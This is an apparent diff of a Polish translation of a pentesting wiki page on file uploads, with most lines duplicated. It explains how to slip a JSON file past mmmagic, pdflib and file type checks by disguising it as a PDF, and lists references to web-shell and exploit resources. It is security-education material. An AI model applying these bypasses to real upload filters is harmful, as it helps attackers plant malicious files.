More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) Więcej informacji: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Wgrywanie poprawnych JSON-ów tak, jakby to był PDF ### Upload valid JSONs like if it was PDF
Jak uniknąć wykrywania typu pliku przez wgranie poprawnego pliku JSON, nawet gdy nie jest to dozwolone, podszywając się pod plik PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): Jak uniknąć wykrywania typu pliku przez upload poprawnego pliku JSON nawet jeśli nie jest dozwolony, podszywając go pod plik PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w poście) - **`mmmagic` library**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to uznawane za ważne (zobacz przykład w poście)
- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za PDF (zobacz przykład w poście) - **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za pdf (zobacz przykład w poście)
- **`file` binary**: Program może odczytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż ta wartość, tak by nie mógł sparsować zawartości jako JSON, a następnie w środku JSON umieścić początkową część prawdziwego PDF — narzędzie uzna go wtedy za PDF - **`file` binary**: Potrafi odczytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż ta wartość, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF — wówczas zostanie uznany za PDF
## Źródła ## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -357,6 +400,9 @@ Jak uniknąć wykrywania typu pliku przez wgranie poprawnego pliku JSON, nawet g
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [usd HeroLab Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
- [NVD CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) - [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) - [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) - [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)